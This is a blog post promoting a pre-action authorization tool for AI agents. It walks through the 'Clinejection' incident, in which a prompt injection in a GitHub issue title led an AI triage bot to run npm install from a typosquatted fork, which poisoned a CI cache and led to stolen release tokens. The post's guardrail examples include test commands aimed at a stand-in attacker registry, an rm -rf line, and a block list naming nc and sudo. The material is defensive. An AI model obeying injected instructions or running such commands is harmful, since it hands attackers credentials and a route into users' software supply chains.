DEV Community

Cover image for I Built the Pre-Action Authorization Layer That Would have Stopped Clinejection
Uchi Uchibeke
Uchi Uchibeke

Posted on • Originally published at uchibeke.com

I Built the Pre-Action Authorization Layer That Would have Stopped Clinejection

On February 17, 2026, someone typed a sentence into a GitHub issue title box and walked away. Eight hours later, 4,000 developers had a second AI agent installed on their machines without consent.

Not because of a zero-day. Not because Cline wrote bad code. Because the AI bot processing that issue title had no pre-action authorization layer between "what the prompt said to do" and "what it was actually authorized to execute."

I have been building pre-action authorization for AI agents for the past year. Here is why it matters, and how it would have changed the outcome at every step of the Clinejection attack.

TL;DR

  • Clinejection started with prompt injection in a GitHub issue title, which an AI triage bot interpreted as a legitimate instruction
  • The bot ran npm install from an attacker's repo, triggering cache poisoning and credential theft
  • 4,000 developers got an unauthorized AI agent silently installed in 8 hours
  • The root cause: no pre-action authorization between agent decision and tool execution
  • APort's before_tool_call hook would have blocked the npm install at Step 2, before any downstream damage was possible

What is the Clinejection attack?

Snyk named this "Clinejection." Adnan Khan's technical writeup is the definitive account. The chain has five steps, and every one of them after the first depends on Step 2 succeeding.

Step 1: Prompt injection via issue title. Cline's AI triage workflow used GitHub's claude-code-action with allowed_non_write_users: "*", and interpolated the issue title directly into Claude's prompt without sanitization. On January 28, an attacker created Issue #8904, a title crafted to look like a performance report but containing an embedded instruction: install a package from a specific repository.

Step 2: The AI bot executes arbitrary code. Claude interpreted the injected instruction as legitimate and ran npm install pointing to the attacker's fork, glthub-actions/cline (note the missing 'i' in 'github'). That fork's package.json contained a preinstall script that fetched and executed a remote shell script.

Step 3: Cache poisoning. The shell script deployed Cacheract, flooding GitHub's Actions cache with over 10GB of junk data. Legitimate cache entries were evicted and replaced with compromised ones.

Step 4: Credential theft. When Cline's nightly release workflow ran and restored node_modules from cache, it got the compromised version. That workflow held the NPM_RELEASE_TOKEN, VSCE_PAT, and OVSX_PAT. All three were exfiltrated.

Step 5: Malicious publish. Using the stolen npm token, the attacker published cline@2.3.0 with a postinstall hook that silently installed OpenClaw globally. The package was live for 8 hours, reaching approximately 4,000 downloads before StepSecurity's automated monitoring flagged it.

Here is the dependency chain: every step after the first is only possible because Step 2 succeeded.

Clinejection attack chain with APort pre-action authorization blocking at Step 2


Why did existing security tools miss it?

npm audit found nothing. The postinstall hook installs a legitimate, non-malicious package. No malware signature to detect.

Code review found nothing. The CLI binary was byte-identical to the previous version. Only one line in package.json changed.

Provenance attestations were not in place. The stolen token could publish without OIDC-based provenance metadata, which is what StepSecurity flagged as anomalous.

Permission prompts never fired. The npm install happens in a postinstall hook during the install phase. No AI coding tool prompts the user before a dependency's lifecycle script runs.

None of these controls evaluate the action at the moment the AI agent decides to take it. That is the gap.


How does pre-action authorization block Clinejection?

APort installs a before_tool_call hook in your AI agent framework. Before any tool executes, the hook checks the agent's passport (identity plus capabilities plus declared limits) against a policy, then returns allow or deny. The model cannot skip this check. It runs in the platform hook, not in the prompt.

Here is the flow for Step 2 of the Clinejection attack with APort in place:

Attacker's issue → Claude's context window → "run npm install from this repo"
        ↓
before_tool_call hook intercepts
        ↓
APort policy: system.command.execute.v1
 - Is "npm install" in allowed commands for this agent? No.
 - Does the target registry match the allowlist? No.
        ↓
DENY: tool never executes. Exit code 1.
Enter fullscreen mode Exit fullscreen mode

The npm install never runs. Cache poisoning never happens. No credentials are stolen. Steps 3, 4, and 5 collapse.

Here is what this looks like from the command line after setting up APort:

# Install the guardrail for your framework
npx @aporthq/aport-agent-guardrails

# Test what the policy catches
aport-guardrail system.command.execute \
  '{"command":"npm install --registry https://attacker.example.com/pkg"}'
# DENY (exit 1): agent passport blocks system.command.execute capability entirely

aport-guardrail system.command.execute \
  '{"command":"rm -rf /tmp/build"}'
# DENY (exit 1): blocked pattern (recursive delete)

aport-guardrail system.command.execute \
  '{"command":"npm test"}'
# ALLOW (exit 0): within declared capabilities
Enter fullscreen mode Exit fullscreen mode

The guardrail evaluates at a mean latency of 62ms in API mode (p95: 70ms from the published benchmarks). The agent barely notices. Your production pipeline does notice, the first time it blocks something it should never have tried.

The key is how you scope the triage bot's passport. A passport defines the agent's identity and what it is allowed to do:

{
  "agent_id": "cline-triage-bot",
  "owner": "cline-triage@cline.bot",
  "status": "active",
  "capabilities": [
    "github.issue.label",
    "github.issue.comment",
    "github.issue.close"
  ],
  "blocked": [
    "system.command.execute",
    "data.export",
    "messaging.external"
  ]
}
Enter fullscreen mode Exit fullscreen mode

Note: Full OAP v1.0 passport generated by npx @aporthq/aport-agent-guardrails includes additional fields. This shows the key capability and block declarations.

A triage bot that can label issues, close duplicates, and request more information from reporters: that is the right scope. A triage bot that can run arbitrary shell commands, even if the current prompt happens to contain one: that is not.

The passport makes the scope declaration explicit and enforced at the framework level. If someone injects "run npm install" into the issue title, the bot cannot comply, regardless of what the LLM decides. The guardrail runs in the hook; the model cannot override it.


What does APort NOT do?

Pre-action authorization is not a complete supply chain security solution. A few things to be clear about.

It does not replace good CI/CD hygiene. Cline's post-mortem correctly identifies OIDC provenance attestations and cache isolation as critical fixes. Those should have been standard practice regardless of AI involvement in the workflow.

It does not prevent humans from misconfiguring policies. If you give your triage bot system.command.execute capability in its passport, APort enforces that policy faithfully. Writing the wrong policy is still possible.

It does not protect you at the OS syscall layer. Grith.ai's approach intercepts at the kernel, catching operations that any process attempts. Pre-action authorization and syscall interception are complementary, not competing. Defense in depth means both.

What APort does: close the gap between agent decision and tool execution, at the framework hook layer, before the action happens. In the Clinejection chain, that gap is the decisive one.


How do you add pre-action authorization to your AI agent?

APort supports OpenClaw, Cursor, LangChain, CrewAI, and any framework that exposes a before-tool hook. Setup:

# OpenClaw
npx @aporthq/aport-agent-guardrails openclaw

# Cursor
npx @aporthq/aport-agent-guardrails cursor

# LangChain (Python)
npx @aporthq/aport-agent-guardrails langchain
pip install aport-agent-guardrails-langchain
aport-langchain setup

# CrewAI (Python)
npx @aporthq/aport-agent-guardrails crewai
pip install aport-agent-guardrails-crewai
aport-crewai setup
Enter fullscreen mode Exit fullscreen mode

The installer creates a passport and configures the hook. After that, every tool call is evaluated before execution. The audit log is in your framework config directory. If the APort API is unreachable, the system fails closed: tool call denied, not silently passed.

Out of the box, the default policy pack covers 50+ blocked patterns across five categories:

Category What it guards
Shell commands rm -rf, sudo, nc, find -exec rm, injection patterns, arbitrary npm install
Data export PII in payloads, bulk reads, file exfiltration patterns
Messaging External recipients, unexpected attachment sources
MCP tools Server allowlists, rate limits per session
Sessions Tool registration limits, session creation caps

The policies are versioned. The passport spec (Open Agent Passport v1.0) is open and based on W3C DID standards. Decisions can be cryptographically signed with Ed25519 in API mode for compliance scenarios.

Source: github.com/aporthq/aport-agent-guardrails. Apache 2.0 license. Local evaluation requires no cloud connection.


Why is this the standard AI agents need?

Clinejection is not an edge case. It is a demonstration of a structural problem that exists in every team deploying AI agents inside CI/CD, on developer machines, or in production systems.

The AI processes untrusted input. The AI has access to credentials and real infrastructure. Nothing in the middle verifies specific actions against specific targets, before they execute.

Think about how every other high-stakes domain handles this. In banking, a transaction is authorized at the moment it is submitted, not just when the account was first opened. In healthcare, a physician order requires verification before the pharmacy dispenses. My experience building identity and payment infrastructure across 130+ countries has reinforced one principle: authorization is continuous, not one-time. You cannot pre-approve every future action at setup and call it done.

We now have AI agents operating with real permissions in real systems, in thousands of development environments worldwide. The question is not whether they need authorization infrastructure. It is how many more Clinejections it takes before pre-action authorization becomes a standard expectation, not an optional add-on.

Here is how APort compares against the alternatives teams typically reach for:

Feature APort OpenAI Guardrails OPA Prompt instructions
Pre-action enforcement ✅ hook-level ✅ platform-locked ❌ best-effort
Framework agnostic
Agent identity (OAP)
Prompt injection proof
Works offline
Cryptographic receipts ✅ Ed25519
Open source ✅ Apache 2.0 n/a

The row that matters most for Clinejection is "Prompt injection proof." Policy enforced in the platform hook cannot be overridden by injected text in the prompt. That is the structural guarantee that prompt instructions do not provide.

The Open Agent Passport spec, the before_tool_call hook pattern, and deterministic framework-level enforcement: these are the building blocks. They exist today.


What's your closest call?

What is the most surprising command your AI agent has tried to run without you expecting it?

I will start: mine tried to push directly to main during a live demo. No CI check. No branch protection bypass attempt. It just tried. That was the moment I decided prompts alone are not a security model. Every team building with AI agents has a version of that story. Most of them have not told it yet.

Drop yours in the comments.


Resources: aport.io · GitHub: aporthq/aport-agent-guardrails · npm: @aporthq/aport-agent-guardrails · APort Vault CTF

Also in this series: I Logged 4,519 AI Agent Tool Calls. 63 Were Things I Never Authorized · AI Passports: A Foundational Framework

Top comments (1)

Collapse
 
nyrok profile image
Hamza KONTE

Pre-action authorization is the right layer for this — and it pairs well with structured system prompts that make agent intent explicit upfront. An agent whose objective and constraints are clearly stated in the system prompt is less likely to reach the authorization layer with an ambiguous action in the first place. I structure those system prompts in flompt before deploying any agentic workflow. flompt.dev / github.com/Nyrok/flompt